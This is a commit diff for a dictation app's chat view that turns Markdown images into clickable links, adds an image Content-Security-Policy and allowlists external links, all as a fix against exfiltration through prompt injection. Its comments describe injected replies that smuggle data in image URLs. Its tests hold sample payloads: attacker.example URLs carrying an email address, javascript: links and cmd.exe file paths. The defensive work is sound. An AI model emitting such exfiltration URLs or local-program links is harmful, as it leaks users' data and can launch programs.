Skip to content

Voice-to-text dictation app with local (Nvidia Parakeet/Whisper) and cloud models (BYOK). Privacy-first and available cross-platform.

fix(chat): stop Markdown images from fetching remote URLs (#2413)

Chad Pihaa9a7baa756a1
diff --git a/src/components/ControlPanelSidebar.tsx b/src/components/ControlPanelSidebar.tsx
index 18d8d9841..1975aecb3 100644
--- a/src/components/ControlPanelSidebar.tsx
+++ b/src/components/ControlPanelSidebar.tsx
@@ -64,6 +64,9 @@ export default function ControlPanelSidebar({
const [upgradeDismissed, setUpgradeDismissed] = useState(
() => localStorage.getItem("upgradeProDismissed") === "true"
);
+ // A blocked or expired avatar URL falls back to the icon instead of the
+ // broken-image glyph, like AccountAvatar and MemberAvatar.
+ const [failedImage, setFailedImage] = useState<string | null>(null);
const showLimitBanner = upsell === "show" && Boolean(isSignedIn) && Boolean(isOverLimit);
const showUpgradeBanner = upsell === "show" && !showLimitBanner && !upgradeDismissed;
@@ -230,8 +233,13 @@ export default function ControlPanelSidebar({
<div className="mx-1 h-px bg-border/10 dark:bg-white/6 my-1.5!" />
<div className="flex items-center gap-2.5 px-2.5 py-1.5 rounded-md">
- {userImage ? (
- <img src={userImage} alt="" className="w-6 h-6 rounded-full shrink-0 object-cover" />
+ {userImage && userImage !== failedImage ? (
+ <img
+ src={userImage}
+ alt=""
+ onError={() => setFailedImage(userImage)}
+ className="w-6 h-6 rounded-full shrink-0 object-cover"
+ />
) : (
<UserCircle size={18} className="shrink-0 text-foreground/50 dark:text-foreground/45" />
)}
diff --git a/src/components/ui/MarkdownRenderer.tsx b/src/components/ui/MarkdownRenderer.tsx
index db4dd1049..3f6bc35e3 100644
--- a/src/components/ui/MarkdownRenderer.tsx
+++ b/src/components/ui/MarkdownRenderer.tsx
@@ -1,5 +1,5 @@
-import { createContext, useContext, useId, type ReactElement } from "react";
-import Markdown, { type Components } from "react-markdown";
+import { createContext, useContext, useId, type ComponentProps, type ReactElement } from "react";
+import Markdown, { type Components, type ExtraProps } from "react-markdown";
import remarkGfm from "remark-gfm";
interface MarkdownRendererProps {
@@ -8,6 +8,48 @@ interface MarkdownRendererProps {
}
const FootnotePrefixContext = createContext("");
+const InsideLinkContext = createContext(false);
+
+function MarkdownLink({ node: _node, ...props }: ComponentProps<"a"> & ExtraProps): ReactElement {
+ const prefix = useContext(FootnotePrefixContext);
+ return (
+ <InsideLinkContext value={true}>
+ <a
+ {...props}
+ aria-describedby={
+ props["aria-describedby"] === "footnote-label"
+ ? `${prefix}footnote-label`
+ : props["aria-describedby"]
+ }
+ target={props.href?.startsWith("#") ? undefined : "_blank"}
+ rel="noopener noreferrer"
+ className="text-link underline decoration-link/30 hover:decoration-link/60 transition-colors wrap-break-word"
+ />
+ </InsideLinkContext>
+ );
+}
+
+// Replies can be steered by prompt injections in notes, calendar events or web
+// results the agent read. An <img> would fetch its URL as soon as the reply
+// renders, leaking whatever the injection packed into it, so images only ever
+// render as a link the user has to click. Inside another link, a nested link
+// would take the click, and a relative URL resolves against the file:// page
+// (on Windows, `//host/x` is a network share), so those render as text. Only a
+// link to the image itself may be labelled with its URL.
+function MarkdownImage({
+ src,
+ alt,
+ title,
+}: ComponentProps<"img"> & ExtraProps): ReactElement | null {
+ const insideLink = useContext(InsideLinkContext);
+ const label = alt?.trim();
+ if (!src || insideLink || !/^https?:\/\//i.test(src)) return label ? <>{label}</> : null;
+ return (
+ <MarkdownLink href={src} title={title}>
+ {label || src}
+ </MarkdownLink>
+ );
+}
// Stable component types preserve DOM state, including table scroll positions.
const markdownComponents: Components = {
@@ -38,22 +80,8 @@ const markdownComponents: Components = {
{children}
</li>
),
- a: function MarkdownLink({ node: _node, ...props }): ReactElement {
- const prefix = useContext(FootnotePrefixContext);
- return (
- <a
- {...props}
- aria-describedby={
- props["aria-describedby"] === "footnote-label"
- ? `${prefix}footnote-label`
- : props["aria-describedby"]
- }
- target={props.href?.startsWith("#") ? undefined : "_blank"}
- rel="noopener noreferrer"
- className="text-link underline decoration-link/30 hover:decoration-link/60 transition-colors"
- />
- );
- },
+ a: MarkdownLink,
+ img: MarkdownImage,
code: ({ children }): ReactElement => (
<code dir="ltr" className="bg-black/10 px-1 py-0.5 rounded text-xs font-mono">
{children}
diff --git a/src/helpers/navigationGuard.js b/src/helpers/navigationGuard.js
index 83176deb0..7fb6e86bb 100644
--- a/src/helpers/navigationGuard.js
+++ b/src/helpers/navigationGuard.js
@@ -23,4 +23,11 @@ function isExternalBrowserUrl(url) {
return url.startsWith("http://") || url.startsWith("https://");
}
-module.exports = { isAllowedAppNavigation, isExternalBrowserUrl };
+// Same allowlist as the open-external IPC. shell.openExternal launches whatever
+// it is given, and a relative link resolves against the file:// page, so
+// `/C:/Windows/System32/cmd.exe` would otherwise run a local program.
+function isExternalOpenUrl(url) {
+ return isExternalBrowserUrl(url) || url.startsWith("mailto:");
+}
+
+module.exports = { isAllowedAppNavigation, isExternalBrowserUrl, isExternalOpenUrl };
diff --git a/src/helpers/windowManager.js b/src/helpers/windowManager.js
index b7c1b2fc8..34c95a7ef 100644
--- a/src/helpers/windowManager.js
+++ b/src/helpers/windowManager.js
@@ -9,7 +9,11 @@ const DragManager = require("./dragManager");
const MainWindowPlacementCoordinator = require("./mainWindowPlacementCoordinator");
const MenuManager = require("./menuManager");
const DevServerManager = require("./devServerManager");
-const { isAllowedAppNavigation, isExternalBrowserUrl } = require("./navigationGuard");
+const {
+ isAllowedAppNavigation,
+ isExternalBrowserUrl,
+ isExternalOpenUrl,
+} = require("./navigationGuard");
const { pathToFileURL } = require("url");
const dockManager = require("./dockManager");
const { i18nMain } = require("./i18nMain");
@@ -124,6 +128,7 @@ class WindowManager {
this.setMainWindowInteractivity(false);
this.registerMainWindowEvents();
this.registerAssistantSelectionContextMenu();
+ this.registerExternalLinkHandlers(this.mainWindow, false);
// Register load event handlers BEFORE loading to catch all events
this.mainWindow.webContents.on(
@@ -1267,29 +1272,14 @@ class WindowManager {
});
}
- async createControlPanelWindow() {
- if (this.controlPanelWindow && !this.controlPanelWindow.isDestroyed()) {
- if (this.controlPanelWindow.isMinimized()) {
- this.controlPanelWindow.restore();
- }
- if (!this.controlPanelWindow.isVisible()) {
- this.controlPanelWindow.show();
- }
- this.controlPanelWindow.focus();
- dockManager.setControlPanelVisible(true);
- return;
- }
-
- this.controlPanelWindow = new BrowserWindow(CONTROL_PANEL_CONFIG);
- this._onboardingRestoreBounds = null;
- this._onboardingWindowMode = null;
- this._onboardingWindowState = null;
-
- this.controlPanelWindow.webContents.on("will-navigate", (event, url) => {
+ // Links in either window open in the default browser, never in an in-app
+ // window or by navigating the app away from itself.
+ registerExternalLinkHandlers(window, isControlPanel) {
+ window.webContents.on("will-navigate", (event, url) => {
// getAppUrl() is null in packaged builds; exactly one of the two is set.
const appUrl =
- DevServerManager.getAppUrl(true) ??
- pathToFileURL(DevServerManager.getAppFilePath(true).path).href;
+ DevServerManager.getAppUrl(isControlPanel) ??
+ pathToFileURL(DevServerManager.getAppFilePath(isControlPanel).path).href;
if (isAllowedAppNavigation(url, appUrl)) {
return;
@@ -1303,17 +1293,42 @@ class WindowManager {
}
});
- this.controlPanelWindow.webContents.setWindowOpenHandler(({ url }) => {
- this.openExternalUrl(url);
+ window.webContents.setWindowOpenHandler(({ url }) => {
+ if (isExternalOpenUrl(url)) {
+ this.openExternalUrl(url);
+ } else {
+ debugLogger.debug("Blocked untrusted window open", { url }, "window");
+ }
return { action: "deny" };
});
- this.controlPanelWindow.webContents.on("did-create-window", (childWindow, details) => {
+ window.webContents.on("did-create-window", (childWindow, details) => {
childWindow.close();
- if (details.url && !details.url.startsWith("devtools://")) {
+ if (details.url && isExternalOpenUrl(details.url)) {
this.openExternalUrl(details.url, false);
}
});
+ }
+
+ async createControlPanelWindow() {
+ if (this.controlPanelWindow && !this.controlPanelWindow.isDestroyed()) {
+ if (this.controlPanelWindow.isMinimized()) {
+ this.controlPanelWindow.restore();
+ }
+ if (!this.controlPanelWindow.isVisible()) {
+ this.controlPanelWindow.show();
+ }
+ this.controlPanelWindow.focus();
+ dockManager.setControlPanelVisible(true);
+ return;
+ }
+
+ this.controlPanelWindow = new BrowserWindow(CONTROL_PANEL_CONFIG);
+ this._onboardingRestoreBounds = null;
+ this._onboardingWindowMode = null;
+ this._onboardingWindowState = null;
+
+ this.registerExternalLinkHandlers(this.controlPanelWindow, true);
// Nothing else shows this window: ready-to-show deliberately doesn't, so the
// renderer can pick the onboarding size first and avoid a visible
diff --git a/src/index.html b/src/index.html
index e767b282c..01de620b3 100644
--- a/src/index.html
+++ b/src/index.html
@@ -2,6 +2,16 @@
<html lang="en">
<head>
<meta charset="UTF-8" />
+ <!--
+ Defense in depth against images an injected model reply points at an
+ attacker's server. Remote images are limited to avatar hosts: Gravatar and
+ Google profile photos (Microsoft photos arrive as data: URLs). A meta tag
+ because the packaged build loads from file://, which has no response headers.
+ -->
+ <meta
+ http-equiv="Content-Security-Policy"
+ content="img-src 'self' data: https://www.gravatar.com https://lh3.googleusercontent.com https://lh4.googleusercontent.com https://lh5.googleusercontent.com https://lh6.googleusercontent.com"
+ />
<link rel="icon" type="image/png" href="./assets/icon.png" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="stylesheet" href="./assets/fonts/noto-sans.css">
diff --git a/test/components/markdownRenderer.test.js b/test/components/markdownRenderer.test.js
index cbc7ac127..38e6dad63 100644
--- a/test/components/markdownRenderer.test.js
+++ b/test/components/markdownRenderer.test.js
@@ -156,6 +156,98 @@ test("GFM extras the plugin enables render as elements, not literal syntax", asy
);
});
+// A prompt injection in a note, calendar event or web result can make the model
+// end its reply with an image whose URL carries what it read. An <img> fetches
+// that URL the moment the reply renders, with no click.
+test("a Markdown image never renders an <img>; it becomes a link the user can click", async (t) => {
+ const html = await renderMarkdown(
+ t,
+ [
+ "![](https://attacker.example/p.png?d=alice%40corp.com)",
+ "![Quarterly chart](https://attacker.example/chart.png)",
+ "![ ](https://attacker.example/blank.png)",
+ '![titled](https://attacker.example/titled.png "Chart title")',
+ "![upper](HTTPS://attacker.example/upper.png)",
+ "![plain](http://attacker.example/plain.png)",
+ "![reference][pixel]",
+ "[![badge](https://attacker.example/badge.svg)](https://github.com/openwhispr)",
+ "[![](https://attacker.example/blank-badge.svg)](https://github.com/openwhispr/blank)",
+ "",
+ "[pixel]: https://attacker.example/ref.png",
+ "",
+ ].join("\n")
+ );
+
+ assert.ok(!html.includes("<img"), "no image element is produced");
+ const attributesWithUrl = [...html.matchAll(/([\w-]+)="[^"]*attacker\.example[^"]*"/g)].map(
+ ([, name]) => name
+ );
+ assert.ok(attributesWithUrl.length > 0);
+ assert.ok(
+ attributesWithUrl.every((name) => name === "href"),
+ `the image URL only appears as a link target, got: ${attributesWithUrl.join(", ")}`
+ );
+ const links = [...html.matchAll(/<a\b([^>]*)>([^<]*)<\/a>/g)].map(([, attrs, label]) => ({
+ href: attrs.match(/href="([^"]*)"/)?.[1],
+ attrs,
+ label,
+ }));
+ assert.deepEqual(
+ links.map(({ href, label }) => [href, label]),
+ [
+ [
+ "https://attacker.example/p.png?d=alice%40corp.com",
+ "https://attacker.example/p.png?d=alice%40corp.com",
+ ],
+ ["https://attacker.example/chart.png", "Quarterly chart"],
+ ["https://attacker.example/blank.png", "https://attacker.example/blank.png"],
+ ["https://attacker.example/titled.png", "titled"],
+ ["HTTPS://attacker.example/upper.png", "upper"],
+ ["http://attacker.example/plain.png", "plain"],
+ ["https://attacker.example/ref.png", "reference"],
+ // A nested link would take the click, so the surrounding link keeps it.
+ ["https://github.com/openwhispr", "badge"],
+ // The image URL would read as the destination of a link that goes elsewhere.
+ ["https://github.com/openwhispr/blank", ""],
+ ],
+ "each image is a link labelled with its alt text, or its URL when the alt text is blank"
+ );
+ assert.ok(
+ links.find(({ label }) => label === "titled").attrs.includes('title="Chart title"'),
+ "the image title carries over"
+ );
+ for (const { attrs } of links) {
+ assert.ok(attrs.includes('target="_blank"'), "opens like other Markdown links");
+ assert.ok(attrs.includes('rel="noopener noreferrer"'));
+ }
+});
+
+test("an image without an absolute web URL keeps only its alt text", async (t) => {
+ const html = await renderMarkdown(
+ t,
+ [
+ "![inline chart](data:image/png;base64,iVBORw0KGgo=)",
+ "![](javascript:alert(1))",
+ "![share](//attacker.example/unc.png?next=https://attacker.example/)",
+ "![drive](/C:/Windows/System32/cmd.exe)",
+ "![anchor](#section)",
+ "![](//attacker.example/blank-share.png)",
+ "![](/C:/Windows/System32/blank.exe)",
+ "",
+ ].join("\n")
+ );
+
+ assert.ok(!html.includes("<img"), "no image element is produced");
+ assert.ok(!html.includes("<a"), "nothing to link to");
+ for (const alt of ["inline chart", "share", "drive", "anchor"]) {
+ assert.ok(html.includes(alt), `the alt text "${alt}" still reads`);
+ }
+ assert.ok(!html.includes("data:"), "the data: URL is not echoed");
+ assert.ok(!html.includes("javascript:"), "the javascript: URL is not echoed");
+ assert.ok(!html.includes("attacker.example"), "the relative URL is not echoed");
+ assert.ok(!html.includes("System32"), "the drive path is not echoed");
+});
+
test("URL sanitisation is unchanged with the plugin enabled", async (t) => {
const html = await renderMarkdown(
t,
diff --git a/test/helpers/windowManagerAssistantPanel.test.js b/test/helpers/windowManagerAssistantPanel.test.js
index 710478a69..17edf9b50 100644
--- a/test/helpers/windowManagerAssistantPanel.test.js
+++ b/test/helpers/windowManagerAssistantPanel.test.js
@@ -117,6 +117,7 @@ Module._load = function loadWindowManagerWithStubs(request, parent, isMain) {
return {
DEV_SERVER_PORT: 5173,
DEV_SERVER_URL: "http://localhost:5173",
+ getAppUrl: () => null,
getAppFilePath: () => ({ path: "/app/index.html", query: {} }),
waitForDevServer: async () => undefined,
};
@@ -219,6 +220,46 @@ test("the Assistant response context menu exposes native Copy only for selected
assert.equal(builtMenus.length, 1);
});
+// Assistant replies can carry links an injected prompt chose, so the dictation
+// window hands them to the browser like the control panel instead of opening
+// an in-app window, and never passes a local path to the OS.
+test("assistant panel links open in the browser, never an in-app window or a local file", () => {
+ const manager = new WindowManager();
+ const opened = [];
+ manager.openExternalUrl = (url) => opened.push(url);
+ const listeners = new Map();
+ let openHandler;
+ const window = {
+ webContents: {
+ on: (event, listener) => listeners.set(event, listener),
+ setWindowOpenHandler: (handler) => {
+ openHandler = handler;
+ },
+ },
+ };
+
+ manager.registerExternalLinkHandlers(window, false);
+
+ for (const url of [
+ "https://attacker.example/chart.png",
+ "mailto:[email protected]",
+ "file:///C:/Windows/System32/cmd.exe",
+ "javascript:alert(1)",
+ ]) {
+ assert.deepEqual(openHandler({ url }), { action: "deny" });
+ }
+ assert.deepEqual(opened, ["https://attacker.example/chart.png", "mailto:[email protected]"]);
+
+ opened.length = 0;
+ let prevented = 0;
+ const event = { preventDefault: () => (prevented += 1) };
+ listeners.get("will-navigate")(event, "file:///app/index.html?panel=false");
+ listeners.get("will-navigate")(event, "https://attacker.example/");
+ listeners.get("will-navigate")(event, "file:///C:/Windows/System32/cmd.exe");
+ assert.equal(prevented, 2, "only the app's own reload may navigate the window");
+ assert.deepEqual(opened, ["https://attacker.example/"]);
+});
+
test("the Agent companion follows the edge opposite the panel", () => {
requestedMainWindowPositions.length = 0;
const manager = new WindowManager();
diff --git a/test/helpers/windowManagerNavigation.test.js b/test/helpers/windowManagerNavigation.test.js
index 503b68993..1912540fc 100644
--- a/test/helpers/windowManagerNavigation.test.js
+++ b/test/helpers/windowManagerNavigation.test.js
@@ -4,6 +4,7 @@ const assert = require("node:assert/strict");
const {
isAllowedAppNavigation,
isExternalBrowserUrl,
+ isExternalOpenUrl,
} = require("../../src/helpers/navigationGuard.js");
const PACKAGED_APP_URL =
@@ -58,3 +59,14 @@ test("only http(s) targets are handed to the external browser", () => {
assert.equal(isExternalBrowserUrl("about:blank"), false);
assert.equal(isExternalBrowserUrl("devtools://devtools/bundled/inspector.html"), false);
});
+
+test("window.open hands the OS only web and mail links, never a local path", () => {
+ assert.equal(isExternalOpenUrl("https://example.com/docs"), true);
+ assert.equal(isExternalOpenUrl("http://example.com/"), true);
+ assert.equal(isExternalOpenUrl("mailto:[email protected]"), true);
+ // A relative Markdown link resolves against the packaged file:// page.
+ assert.equal(isExternalOpenUrl("file:///C:/Windows/System32/cmd.exe"), false);
+ assert.equal(isExternalOpenUrl("file://attacker.example/share/run.exe"), false);
+ assert.equal(isExternalOpenUrl("javascript:alert(1)"), false);
+ assert.equal(isExternalOpenUrl("about:blank"), false);
+});